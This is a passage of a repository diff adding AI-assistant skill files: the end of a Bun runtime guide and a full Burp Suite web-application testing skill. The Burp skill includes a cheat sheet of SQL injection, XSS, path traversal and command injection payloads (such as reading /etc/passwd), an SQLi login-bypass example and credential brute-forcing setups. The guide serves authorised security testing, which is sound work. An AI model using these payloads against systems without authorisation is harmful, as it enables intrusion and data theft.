powershell -c "irm bun.sh/install.ps1 | iex"
|
||||
|
||||
# Homebrew
|
||||
brew tap oven-sh/bun
|
||||
brew install bun
|
||||
|
||||
# npm (if needed)
|
||||
npm install -g bun
|
||||
|
||||
# Upgrade
|
||||
bun upgrade
|
||||
```
|
||||
|
||||
### 1.2 Why Bun?
|
||||
|
||||
| Feature | Bun | Node.js |
|
||||
| :-------------- | :------------- | :-------------------------- |
|
||||
| Startup time | ~25ms | ~100ms+ |
|
||||
| Package install | 10-100x faster | Baseline |
|
||||
| TypeScript | Native | Requires transpiler |
|
||||
| JSX | Native | Requires transpiler |
|
||||
| Test runner | Built-in | External (Jest, Vitest) |
|
||||
| Bundler | Built-in | External (Webpack, esbuild) |
|
||||
|
||||
---
|
||||
|
||||
## 2. Project Setup
|
||||
|
||||
### 2.1 Create New Project
|
||||
|
||||
```bash
|
||||
# Initialize project
|
||||
bun init
|
||||
|
||||
# Creates:
|
||||
# ├── package.json
|
||||
# ├── tsconfig.json
|
||||
# ├── index.ts
|
||||
# └── README.md
|
||||
|
||||
# With specific template
|
||||
bun create <template> <project-name>
|
||||
|
||||
# Examples
|
||||
bun create react my-app # React app
|
||||
bun create next my-app # Next.js app
|
||||
bun create vite my-app # Vite app
|
||||
bun create elysia my-api # Elysia API
|
||||
```
|
||||
|
||||
### 2.2 package.json
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "my-bun-project",
|
||||
"version": "1.0.0",
|
||||
"module": "index.ts",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "bun run --watch index.ts",
|
||||
"start": "bun run index.ts",
|
||||
"test": "bun test",
|
||||
"build": "bun build ./index.ts --outdir ./dist",
|
||||
"lint": "bunx eslint ."
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/bun": "latest"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"typescript": "^5.0.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2.3 tsconfig.json (Bun-optimized)
|
||||
|
||||
```json
|
||||
{
|
||||
"compilerOptions": {
|
||||
"lib": ["ESNext"],
|
||||
"module": "esnext",
|
||||
"target": "esnext",
|
||||
"moduleResolution": "bundler",
|
||||
"moduleDetection": "force",
|
||||
"allowImportingTsExtensions": true,
|
||||
"noEmit": true,
|
||||
"composite": true,
|
||||
"strict": true,
|
||||
"downlevelIteration": true,
|
||||
"skipLibCheck": true,
|
||||
"jsx": "react-jsx",
|
||||
"allowSyntheticDefaultImports": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"allowJs": true,
|
||||
"types": ["bun-types"]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Package Management
|
||||
|
||||
### 3.1 Installing Packages
|
||||
|
||||
```bash
|
||||
# Install from package.json
|
||||
bun install # or 'bun i'
|
||||
|
||||
# Add dependencies
|
||||
bun add express # Regular dependency
|
||||
bun add -d typescript # Dev dependency
|
||||
bun add -D @types/node # Dev dependency (alias)
|
||||
bun add --optional pkg # Optional dependency
|
||||
|
||||
# From specific registry
|
||||
bun add lodash --registry https://registry.npmmirror.com
|
||||
|
||||
# Install specific version
|
||||
bun add react@18.2.0
|
||||
bun add react@latest
|
||||
bun add react@next
|
||||
|
||||
# From git
|
||||
bun add github:user/repo
|
||||
bun add git+https://github.com/user/repo.git
|
||||
```
|
||||
|
||||
### 3.2 Removing & Updating
|
||||
|
||||
```bash
|
||||
# Remove package
|
||||
bun remove lodash
|
||||
|
||||
# Update packages
|
||||
bun update # Update all
|
||||
bun update lodash # Update specific
|
||||
bun update --latest # Update to latest (ignore ranges)
|
||||
|
||||
# Check outdated
|
||||
bun outdated
|
||||
```
|
||||
|
||||
### 3.3 bunx (npx equivalent)
|
||||
|
||||
```bash
|
||||
# Execute package binaries
|
||||
bunx prettier --write .
|
||||
bunx tsc --init
|
||||
bunx create-react-app my-app
|
||||
|
||||
# With specific version
|
||||
bunx -p typescript@4.9 tsc --version
|
||||
|
||||
# Run without installing
|
||||
bunx cowsay "Hello from Bun!"
|
||||
```
|
||||
|
||||
### 3.4 Lockfile
|
||||
|
||||
```bash
|
||||
# bun.lockb is a binary lockfile (faster parsing)
|
||||
# To generate text lockfile for debugging:
|
||||
bun install --yarn # Creates yarn.lock
|
||||
|
||||
# Trust existing lockfile
|
||||
bun install --frozen-lockfile
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Running Code
|
||||
|
||||
### 4.1 Basic Execution
|
||||
|
||||
```bash
|
||||
# Run TypeScript directly (no build step!)
|
||||
bun run index.ts
|
||||
|
||||
# Run JavaScript
|
||||
bun run index.js
|
||||
|
||||
# Run with arguments
|
||||
bun run server.ts --port 3000
|
||||
|
||||
# Run package.json script
|
||||
bun run dev
|
||||
bun run build
|
||||
|
||||
# Short form (for scripts)
|
||||
bun dev
|
||||
bun build
|
||||
```
|
||||
|
||||
### 4.2 Watch Mode
|
||||
|
||||
```bash
|
||||
# Auto-restart on file changes
|
||||
bun --watch run index.ts
|
||||
|
||||
# With hot reloading
|
||||
bun --hot run server.ts
|
||||
```
|
||||
|
||||
### 4.3 Environment Variables
|
||||
|
||||
```typescript
|
||||
// .env file is loaded automatically!
|
||||
|
||||
// Access environment variables
|
||||
const apiKey = Bun.env.API_KEY;
|
||||
const port = Bun.env.PORT ?? "3000";
|
||||
|
||||
// Or use process.env (Node.js compatible)
|
||||
const dbUrl = process.env.DATABASE_URL;
|
||||
```
|
||||
|
||||
```bash
|
||||
# Run with specific env file
|
||||
bun --env-file=.env.production run index.ts
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Built-in APIs
|
||||
|
||||
### 5.1 File System (Bun.file)
|
||||
|
||||
```typescript
|
||||
// Read file
|
||||
const file = Bun.file("./data.json");
|
||||
const text = await file.text();
|
||||
const json = await file.json();
|
||||
const buffer = await file.arrayBuffer();
|
||||
|
||||
// File info
|
||||
console.log(file.size); // bytes
|
||||
console.log(file.type); // MIME type
|
||||
|
||||
// Write file
|
||||
await Bun.write("./output.txt", "Hello, Bun!");
|
||||
await Bun.write("./data.json", JSON.stringify({ foo: "bar" }));
|
||||
|
||||
// Stream large files
|
||||
const reader = file.stream();
|
||||
for await (const chunk of reader) {
|
||||
console.log(chunk);
|
||||
}
|
||||
```
|
||||
|
||||
### 5.2 HTTP Server (Bun.serve)
|
||||
|
||||
```typescript
|
||||
const server = Bun.serve({
|
||||
port: 3000,
|
||||
|
||||
fetch(request) {
|
||||
const url = new URL(request.url);
|
||||
|
||||
if (url.pathname === "/") {
|
||||
return new Response("Hello World!");
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/users") {
|
||||
return Response.json([
|
||||
{ id: 1, name: "Alice" },
|
||||
{ id: 2, name: "Bob" },
|
||||
]);
|
||||
}
|
||||
|
||||
return new Response("Not Found", { status: 404 });
|
||||
},
|
||||
|
||||
error(error) {
|
||||
return new Response(`Error: ${error.message}`, { status: 500 });
|
||||
},
|
||||
});
|
||||
|
||||
console.log(`Server running at http://localhost:${server.port}`);
|
||||
```
|
||||
|
||||
### 5.3 WebSocket Server
|
||||
|
||||
```typescript
|
||||
const server = Bun.serve({
|
||||
port: 3000,
|
||||
|
||||
fetch(req, server) {
|
||||
// Upgrade to WebSocket
|
||||
if (server.upgrade(req)) {
|
||||
return; // Upgraded
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
},
|
||||
|
||||
websocket: {
|
||||
open(ws) {
|
||||
console.log("Client connected");
|
||||
ws.send("Welcome!");
|
||||
},
|
||||
|
||||
message(ws, message) {
|
||||
console.log(`Received: ${message}`);
|
||||
ws.send(`Echo: ${message}`);
|
||||
},
|
||||
|
||||
close(ws) {
|
||||
console.log("Client disconnected");
|
||||
},
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
### 5.4 SQLite (Bun.sql)
|
||||
|
||||
```typescript
|
||||
import { Database } from "bun:sqlite";
|
||||
|
||||
const db = new Database("mydb.sqlite");
|
||||
|
||||
// Create table
|
||||
db.run(`
|
||||
CREATE TABLE IF NOT EXISTS users (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
name TEXT NOT NULL,
|
||||
email TEXT UNIQUE
|
||||
)
|
||||
`);
|
||||
|
||||
// Insert
|
||||
const insert = db.prepare("INSERT INTO users (name, email) VALUES (?, ?)");
|
||||
insert.run("Alice", "alice@example.com");
|
||||
|
||||
// Query
|
||||
const query = db.prepare("SELECT * FROM users WHERE name = ?");
|
||||
const user = query.get("Alice");
|
||||
console.log(user); // { id: 1, name: "Alice", email: "alice@example.com" }
|
||||
|
||||
// Query all
|
||||
const allUsers = db.query("SELECT * FROM users").all();
|
||||
```
|
||||
|
||||
### 5.5 Password Hashing
|
||||
|
||||
```typescript
|
||||
// Hash password
|
||||
const password = "super-secret";
|
||||
const hash = await Bun.password.hash(password);
|
||||
|
||||
// Verify password
|
||||
const isValid = await Bun.password.verify(password, hash);
|
||||
console.log(isValid); // true
|
||||
|
||||
// With algorithm options
|
||||
const bcryptHash = await Bun.password.hash(password, {
|
||||
algorithm: "bcrypt",
|
||||
cost: 12,
|
||||
});
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Testing
|
||||
|
||||
### 6.1 Basic Tests
|
||||
|
||||
```typescript
|
||||
// math.test.ts
|
||||
import { describe, it, expect, beforeAll, afterAll } from "bun:test";
|
||||
|
||||
describe("Math operations", () => {
|
||||
it("adds two numbers", () => {
|
||||
expect(1 + 1).toBe(2);
|
||||
});
|
||||
|
||||
it("subtracts two numbers", () => {
|
||||
expect(5 - 3).toBe(2);
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### 6.2 Running Tests
|
||||
|
||||
```bash
|
||||
# Run all tests
|
||||
bun test
|
||||
|
||||
# Run specific file
|
||||
bun test math.test.ts
|
||||
|
||||
# Run matching pattern
|
||||
bun test --grep "adds"
|
||||
|
||||
# Watch mode
|
||||
bun test --watch
|
||||
|
||||
# With coverage
|
||||
bun test --coverage
|
||||
|
||||
# Timeout
|
||||
bun test --timeout 5000
|
||||
```
|
||||
|
||||
### 6.3 Matchers
|
||||
|
||||
```typescript
|
||||
import { expect, test } from "bun:test";
|
||||
|
||||
test("matchers", () => {
|
||||
// Equality
|
||||
expect(1).toBe(1);
|
||||
expect({ a: 1 }).toEqual({ a: 1 });
|
||||
expect([1, 2]).toContain(1);
|
||||
|
||||
// Comparisons
|
||||
expect(10).toBeGreaterThan(5);
|
||||
expect(5).toBeLessThanOrEqual(5);
|
||||
|
||||
// Truthiness
|
||||
expect(true).toBeTruthy();
|
||||
expect(null).toBeNull();
|
||||
expect(undefined).toBeUndefined();
|
||||
|
||||
// Strings
|
||||
expect("hello").toMatch(/ell/);
|
||||
expect("hello").toContain("ell");
|
||||
|
||||
// Arrays
|
||||
expect([1, 2, 3]).toHaveLength(3);
|
||||
|
||||
// Exceptions
|
||||
expect(() => {
|
||||
throw new Error("fail");
|
||||
}).toThrow("fail");
|
||||
|
||||
// Async
|
||||
await expect(Promise.resolve(1)).resolves.toBe(1);
|
||||
await expect(Promise.reject("err")).rejects.toBe("err");
|
||||
});
|
||||
```
|
||||
|
||||
### 6.4 Mocking
|
||||
|
||||
```typescript
|
||||
import { mock, spyOn } from "bun:test";
|
||||
|
||||
// Mock function
|
||||
const mockFn = mock((x: number) => x * 2);
|
||||
mockFn(5);
|
||||
expect(mockFn).toHaveBeenCalled();
|
||||
expect(mockFn).toHaveBeenCalledWith(5);
|
||||
expect(mockFn.mock.results[0].value).toBe(10);
|
||||
|
||||
// Spy on method
|
||||
const obj = {
|
||||
method: () => "original",
|
||||
};
|
||||
const spy = spyOn(obj, "method").mockReturnValue("mocked");
|
||||
expect(obj.method()).toBe("mocked");
|
||||
expect(spy).toHaveBeenCalled();
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. Bundling
|
||||
|
||||
### 7.1 Basic Build
|
||||
|
||||
```bash
|
||||
# Bundle for production
|
||||
bun build ./src/index.ts --outdir ./dist
|
||||
|
||||
# With options
|
||||
bun build ./src/index.ts \
|
||||
--outdir ./dist \
|
||||
--target browser \
|
||||
--minify \
|
||||
--sourcemap
|
||||
```
|
||||
|
||||
### 7.2 Build API
|
||||
|
||||
```typescript
|
||||
const result = await Bun.build({
|
||||
entrypoints: ["./src/index.ts"],
|
||||
outdir: "./dist",
|
||||
target: "browser", // or "bun", "node"
|
||||
minify: true,
|
||||
sourcemap: "external",
|
||||
splitting: true,
|
||||
format: "esm",
|
||||
|
||||
// External packages (not bundled)
|
||||
external: ["react", "react-dom"],
|
||||
|
||||
// Define globals
|
||||
define: {
|
||||
"process.env.NODE_ENV": JSON.stringify("production"),
|
||||
},
|
||||
|
||||
// Naming
|
||||
naming: {
|
||||
entry: "[name].[hash].js",
|
||||
chunk: "chunks/[name].[hash].js",
|
||||
asset: "assets/[name].[hash][ext]",
|
||||
},
|
||||
});
|
||||
|
||||
if (!result.success) {
|
||||
console.error(result.logs);
|
||||
}
|
||||
```
|
||||
|
||||
### 7.3 Compile to Executable
|
||||
|
||||
```bash
|
||||
# Create standalone executable
|
||||
bun build ./src/cli.ts --compile --outfile myapp
|
||||
|
||||
# Cross-compile
|
||||
bun build ./src/cli.ts --compile --target=bun-linux-x64 --outfile myapp-linux
|
||||
bun build ./src/cli.ts --compile --target=bun-darwin-arm64 --outfile myapp-mac
|
||||
|
||||
# With embedded assets
|
||||
bun build ./src/cli.ts --compile --outfile myapp --embed ./assets
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. Migration from Node.js
|
||||
|
||||
### 8.1 Compatibility
|
||||
|
||||
```typescript
|
||||
// Most Node.js APIs work out of the box
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
import crypto from "crypto";
|
||||
|
||||
// process is global
|
||||
console.log(process.cwd());
|
||||
console.log(process.env.HOME);
|
||||
|
||||
// Buffer is global
|
||||
const buf = Buffer.from("hello");
|
||||
|
||||
// __dirname and __filename work
|
||||
console.log(__dirname);
|
||||
console.log(__filename);
|
||||
```
|
||||
|
||||
### 8.2 Common Migration Steps
|
||||
|
||||
```bash
|
||||
# 1. Install Bun
|
||||
curl -fsSL https://bun.sh/install | bash
|
||||
|
||||
# 2. Replace package manager
|
||||
rm -rf node_modules package-lock.json
|
||||
bun install
|
||||
|
||||
# 3. Update scripts in package.json
|
||||
# "start": "node index.js" → "start": "bun run index.ts"
|
||||
# "test": "jest" → "test": "bun test"
|
||||
|
||||
# 4. Add Bun types
|
||||
bun add -d @types/bun
|
||||
```
|
||||
|
||||
### 8.3 Differences from Node.js
|
||||
|
||||
```typescript
|
||||
// ❌ Node.js specific (may not work)
|
||||
require("module") // Use import instead
|
||||
require.resolve("pkg") // Use import.meta.resolve
|
||||
__non_webpack_require__ // Not supported
|
||||
|
||||
// ✅ Bun equivalents
|
||||
import pkg from "pkg";
|
||||
const resolved = import.meta.resolve("pkg");
|
||||
Bun.resolveSync("pkg", process.cwd());
|
||||
|
||||
// ❌ These globals differ
|
||||
process.hrtime() // Use Bun.nanoseconds()
|
||||
setImmediate() // Use queueMicrotask()
|
||||
|
||||
// ✅ Bun-specific features
|
||||
const file = Bun.file("./data.txt"); // Fast file API
|
||||
Bun.serve({ port: 3000, fetch: ... }); // Fast HTTP server
|
||||
Bun.password.hash(password); // Built-in hashing
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Performance Tips
|
||||
|
||||
### 9.1 Use Bun-native APIs
|
||||
|
||||
```typescript
|
||||
// Slow (Node.js compat)
|
||||
import fs from "fs/promises";
|
||||
const content = await fs.readFile("./data.txt", "utf-8");
|
||||
|
||||
// Fast (Bun-native)
|
||||
const file = Bun.file("./data.txt");
|
||||
const content = await file.text();
|
||||
```
|
||||
|
||||
### 9.2 Use Bun.serve for HTTP
|
||||
|
||||
```typescript
|
||||
// Don't: Express/Fastify (overhead)
|
||||
import express from "express";
|
||||
const app = express();
|
||||
|
||||
// Do: Bun.serve (native, 4-10x faster)
|
||||
Bun.serve({
|
||||
fetch(req) {
|
||||
return new Response("Hello!");
|
||||
},
|
||||
});
|
||||
|
||||
// Or use Elysia (Bun-optimized framework)
|
||||
import { Elysia } from "elysia";
|
||||
new Elysia().get("/", () => "Hello!").listen(3000);
|
||||
```
|
||||
|
||||
### 9.3 Bundle for Production
|
||||
|
||||
```bash
|
||||
# Always bundle and minify for production
|
||||
bun build ./src/index.ts --outdir ./dist --minify --target node
|
||||
|
||||
# Then run the bundle
|
||||
bun run ./dist/index.js
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Task | Command |
|
||||
| :----------- | :----------------------------------------- |
|
||||
| Init project | `bun init` |
|
||||
| Install deps | `bun install` |
|
||||
| Add package | `bun add <pkg>` |
|
||||
| Run script | `bun run <script>` |
|
||||
| Run file | `bun run file.ts` |
|
||||
| Watch mode | `bun --watch run file.ts` |
|
||||
| Run tests | `bun test` |
|
||||
| Build | `bun build ./src/index.ts --outdir ./dist` |
|
||||
| Execute pkg | `bunx <pkg>` |
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Bun Documentation](https://bun.sh/docs)
|
||||
- [Bun GitHub](https://github.com/oven-sh/bun)
|
||||
- [Elysia Framework](https://elysiajs.com/)
|
||||
- [Bun Discord](https://bun.sh/discord)
|
||||
377
skills/burp-suite-testing/SKILL.md
Normal file
377
skills/burp-suite-testing/SKILL.md
Normal file
@@ -0,0 +1,377 @@
|
||||
---
|
||||
name: Burp Suite Web Application Testing
|
||||
description: This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
|
||||
---
|
||||
|
||||
# Burp Suite Web Application Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Burp Suite Community or Professional Edition installed
|
||||
- Burp's embedded browser or configured external browser
|
||||
- Target web application URL
|
||||
- Valid credentials for authenticated testing (if applicable)
|
||||
|
||||
### Environment Setup
|
||||
- Burp Suite launched with temporary or named project
|
||||
- Proxy listener active on 127.0.0.1:8080 (default)
|
||||
- Browser configured to use Burp proxy (or use Burp's browser)
|
||||
- CA certificate installed for HTTPS interception
|
||||
|
||||
### Editions Comparison
|
||||
| Feature | Community | Professional |
|
||||
|---------|-----------|--------------|
|
||||
| Proxy | ✓ | ✓ |
|
||||
| Repeater | ✓ | ✓ |
|
||||
| Intruder | Limited | Full |
|
||||
| Scanner | ✗ | ✓ |
|
||||
| Extensions | ✓ | ✓ |
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
### Primary Outputs
|
||||
- Intercepted and modified HTTP requests/responses
|
||||
- Vulnerability scan reports with remediation advice
|
||||
- HTTP history and site map documentation
|
||||
- Proof-of-concept exploits for identified vulnerabilities
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Intercepting HTTP Traffic
|
||||
|
||||
#### Launch Burp's Browser
|
||||
Navigate to integrated browser for seamless proxy integration:
|
||||
|
||||
1. Open Burp Suite and create/open project
|
||||
2. Go to **Proxy > Intercept** tab
|
||||
3. Click **Open Browser** to launch preconfigured browser
|
||||
4. Position windows to view both Burp and browser simultaneously
|
||||
|
||||
#### Configure Interception
|
||||
Control which requests are captured:
|
||||
|
||||
```
|
||||
Proxy > Intercept > Intercept is on/off toggle
|
||||
|
||||
When ON: Requests pause for review/modification
|
||||
When OFF: Requests pass through, logged to history
|
||||
```
|
||||
|
||||
#### Intercept and Forward Requests
|
||||
Process intercepted traffic:
|
||||
|
||||
1. Set intercept toggle to **Intercept on**
|
||||
2. Navigate to target URL in browser
|
||||
3. Observe request held in Proxy > Intercept tab
|
||||
4. Review request contents (headers, parameters, body)
|
||||
5. Click **Forward** to send request to server
|
||||
6. Continue forwarding subsequent requests until page loads
|
||||
|
||||
#### View HTTP History
|
||||
Access complete traffic log:
|
||||
|
||||
1. Go to **Proxy > HTTP history** tab
|
||||
2. Click any entry to view full request/response
|
||||
3. Sort by clicking column headers (# for chronological order)
|
||||
4. Use filters to focus on relevant traffic
|
||||
|
||||
### Phase 2: Modifying Requests
|
||||
|
||||
#### Intercept and Modify
|
||||
Change request parameters before forwarding:
|
||||
|
||||
1. Enable interception: **Intercept on**
|
||||
2. Trigger target request in browser
|
||||
3. Locate parameter to modify in intercepted request
|
||||
4. Edit value directly in request editor
|
||||
5. Click **Forward** to send modified request
|
||||
|
||||
#### Common Modification Targets
|
||||
| Target | Example | Purpose |
|
||||
|--------|---------|---------|
|
||||
| Price parameters | `price=1` | Test business logic |
|
||||
| User IDs | `userId=admin` | Test access control |
|
||||
| Quantity values | `qty=-1` | Test input validation |
|
||||
| Hidden fields | `isAdmin=true` | Test privilege escalation |
|
||||
|
||||
#### Example: Price Manipulation
|
||||
|
||||
```http
|
||||
POST /cart HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
productId=1&quantity=1&price=100
|
||||
|
||||
# Modify to:
|
||||
productId=1&quantity=1&price=1
|
||||
```
|
||||
|
||||
Result: Item added to cart at modified price.
|
||||
|
||||
### Phase 3: Setting Target Scope
|
||||
|
||||
#### Define Scope
|
||||
Focus testing on specific target:
|
||||
|
||||
1. Go to **Target > Site map**
|
||||
2. Right-click target host in left panel
|
||||
3. Select **Add to scope**
|
||||
4. When prompted, click **Yes** to exclude out-of-scope traffic
|
||||
|
||||
#### Filter by Scope
|
||||
Remove noise from HTTP history:
|
||||
|
||||
1. Click display filter above HTTP history
|
||||
2. Select **Show only in-scope items**
|
||||
3. History now shows only target site traffic
|
||||
|
||||
#### Scope Benefits
|
||||
- Reduces clutter from third-party requests
|
||||
- Prevents accidental testing of out-of-scope sites
|
||||
- Improves scanning efficiency
|
||||
- Creates cleaner reports
|
||||
|
||||
### Phase 4: Using Burp Repeater
|
||||
|
||||
#### Send Request to Repeater
|
||||
Prepare request for manual testing:
|
||||
|
||||
1. Identify interesting request in HTTP history
|
||||
2. Right-click request and select **Send to Repeater**
|
||||
3. Go to **Repeater** tab to access request
|
||||
|
||||
#### Modify and Resend
|
||||
Test different inputs efficiently:
|
||||
|
||||
```
|
||||
1. View request in Repeater tab
|
||||
2. Modify parameter values
|
||||
3. Click Send to submit request
|
||||
4. Review response in right panel
|
||||
5. Use navigation arrows to review request history
|
||||
```
|
||||
|
||||
#### Repeater Testing Workflow
|
||||
|
||||
```
|
||||
Original Request:
|
||||
GET /product?productId=1 HTTP/1.1
|
||||
|
||||
Test 1: productId=2 → Valid product response
|
||||
Test 2: productId=999 → Not Found response
|
||||
Test 3: productId=' → Error/exception response
|
||||
Test 4: productId=1 OR 1=1 → SQL injection test
|
||||
```
|
||||
|
||||
#### Analyze Responses
|
||||
Look for indicators of vulnerabilities:
|
||||
|
||||
- Error messages revealing stack traces
|
||||
- Framework/version information disclosure
|
||||
- Different response lengths indicating logic flaws
|
||||
- Timing differences suggesting blind injection
|
||||
- Unexpected data in responses
|
||||
|
||||
### Phase 5: Running Automated Scans
|
||||
|
||||
#### Launch New Scan
|
||||
Initiate vulnerability scanning (Professional only):
|
||||
|
||||
1. Go to **Dashboard** tab
|
||||
2. Click **New scan**
|
||||
3. Enter target URL in **URLs to scan** field
|
||||
4. Configure scan settings
|
||||
|
||||
#### Scan Configuration Options
|
||||
|
||||
| Mode | Description | Duration |
|
||||
|------|-------------|----------|
|
||||
| Lightweight | High-level overview | ~15 minutes |
|
||||
| Fast | Quick vulnerability check | ~30 minutes |
|
||||
| Balanced | Standard comprehensive scan | ~1-2 hours |
|
||||
| Deep | Thorough testing | Several hours |
|
||||
|
||||
#### Monitor Scan Progress
|
||||
Track scanning activity:
|
||||
|
||||
1. View task status in **Dashboard**
|
||||
2. Watch **Target > Site map** update in real-time
|
||||
3. Check **Issues** tab for discovered vulnerabilities
|
||||
|
||||
#### Review Identified Issues
|
||||
Analyze scan findings:
|
||||
|
||||
1. Select scan task in Dashboard
|
||||
2. Go to **Issues** tab
|
||||
3. Click issue to view:
|
||||
- **Advisory**: Description and remediation
|
||||
- **Request**: Triggering HTTP request
|
||||
- **Response**: Server response showing vulnerability
|
||||
|
||||
### Phase 6: Intruder Attacks
|
||||
|
||||
#### Configure Intruder
|
||||
Set up automated attack:
|
||||
|
||||
1. Send request to Intruder (right-click > Send to Intruder)
|
||||
2. Go to **Intruder** tab
|
||||
3. Define payload positions using § markers
|
||||
4. Select attack type
|
||||
|
||||
#### Attack Types
|
||||
|
||||
| Type | Description | Use Case |
|
||||
|------|-------------|----------|
|
||||
| Sniper | Single position, iterate payloads | Fuzzing one parameter |
|
||||
| Battering ram | Same payload all positions | Credential testing |
|
||||
| Pitchfork | Parallel payload iteration | Username:password pairs |
|
||||
| Cluster bomb | All payload combinations | Full brute force |
|
||||
|
||||
#### Configure Payloads
|
||||
|
||||
```
|
||||
Positions Tab:
|
||||
POST /login HTTP/1.1
|
||||
...
|
||||
username=§admin§&password=§password§
|
||||
|
||||
Payloads Tab:
|
||||
Set 1: admin, user, test, guest
|
||||
Set 2: password, 123456, admin, letmein
|
||||
```
|
||||
|
||||
#### Analyze Results
|
||||
Review attack output:
|
||||
|
||||
- Sort by response length to find anomalies
|
||||
- Filter by status code for successful attempts
|
||||
- Use grep to search for specific strings
|
||||
- Export results for documentation
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Keyboard Shortcuts
|
||||
| Action | Windows/Linux | macOS |
|
||||
|--------|---------------|-------|
|
||||
| Forward request | Ctrl+F | Cmd+F |
|
||||
| Drop request | Ctrl+D | Cmd+D |
|
||||
| Send to Repeater | Ctrl+R | Cmd+R |
|
||||
| Send to Intruder | Ctrl+I | Cmd+I |
|
||||
| Toggle intercept | Ctrl+T | Cmd+T |
|
||||
|
||||
### Common Testing Payloads
|
||||
|
||||
```
|
||||
# SQL Injection
|
||||
' OR '1'='1
|
||||
' OR '1'='1'--
|
||||
1 UNION SELECT NULL--
|
||||
|
||||
# XSS
|
||||
<script>alert(1)</script>
|
||||
"><img src=x onerror=alert(1)>
|
||||
javascript:alert(1)
|
||||
|
||||
# Path Traversal
|
||||
../../../etc/passwd
|
||||
..\..\..\..\windows\win.ini
|
||||
|
||||
# Command Injection
|
||||
; ls -la
|
||||
| cat /etc/passwd
|
||||
`whoami`
|
||||
```
|
||||
|
||||
### Request Modification Tips
|
||||
- Right-click for context menu options
|
||||
- Use decoder for encoding/decoding
|
||||
- Compare requests using Comparer tool
|
||||
- Save interesting requests to project
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Test only authorized applications
|
||||
- Configure scope to prevent accidental out-of-scope testing
|
||||
- Rate-limit scans to avoid denial of service
|
||||
- Document all findings and actions
|
||||
|
||||
### Technical Limitations
|
||||
- Community Edition lacks automated scanner
|
||||
- Some sites may block proxy traffic
|
||||
- HSTS/certificate pinning may require additional configuration
|
||||
- Heavy scanning may trigger WAF blocks
|
||||
|
||||
### Best Practices
|
||||
- Always set target scope before extensive testing
|
||||
- Use Burp's browser for reliable interception
|
||||
- Save project regularly to preserve work
|
||||
- Review scan results manually for false positives
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Business Logic Testing
|
||||
|
||||
**Scenario**: E-commerce price manipulation
|
||||
|
||||
1. Add item to cart normally, intercept request
|
||||
2. Identify `price=9999` parameter in POST body
|
||||
3. Modify to `price=1`
|
||||
4. Forward request
|
||||
5. Complete checkout at manipulated price
|
||||
|
||||
**Finding**: Server trusts client-provided price values.
|
||||
|
||||
### Example 2: Authentication Bypass
|
||||
|
||||
**Scenario**: Testing login form
|
||||
|
||||
1. Submit valid credentials, capture request in Repeater
|
||||
2. Send to Repeater for testing
|
||||
3. Try: `username=admin' OR '1'='1'--`
|
||||
4. Observe successful login response
|
||||
|
||||
**Finding**: SQL injection in authentication.
|
||||
|
||||
### Example 3: Information Disclosure
|
||||
|
||||
**Scenario**: Error-based information gathering
|
||||
|
||||
1. Navigate to product page, observe `productId` parameter
|
||||
2. Send request to Repeater
|
||||
3. Change `productId=1` to `productId=test`
|
||||
4. Observe verbose error revealing framework version
|
||||
|
||||
**Finding**: Apache Struts 2.5.12 disclosed in stack trace.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Browser Not Connecting Through Proxy
|
||||
- Verify proxy listener is active (Proxy > Options)
|
||||
- Check browser proxy settings point to 127.0.0.1:8080
|
||||
- Ensure no firewall blocking local connections
|
||||
- Use Burp's embedded browser for reliable setup
|
||||
|
||||
### HTTPS Interception Failing
|
||||
- Install Burp CA certificate in browser/system
|
||||
- Navigate to http://burp to download certificate
|
||||
- Add certificate to trusted roots
|
||||
- Restart browser after installation
|
||||
|
||||
### Slow Performance
|
||||
- Limit scope to reduce processing
|
||||
- Disable unnecessary extensions
|
||||
- Increase Java heap size in startup options
|
||||
- Close unused Burp tabs and features
|
||||
|
||||
### Requests Not Being Intercepted
|
||||
- Verify "Intercept on" is enabled
|
||||
- Check intercept rules aren't filtering target
|
||||
- Ensure browser is using Burp proxy
|
||||
- Verify target isn't using unsupported protocol
|
||||
68
skills/claude-code-guide/SKILL.md
Normal file
68
skills/claude-code-guide/SKILL.md
Normal file
@@ -0,0 +1,68 @@
|
||||
---
|
||||
name: Claude Code Guide
|
||||
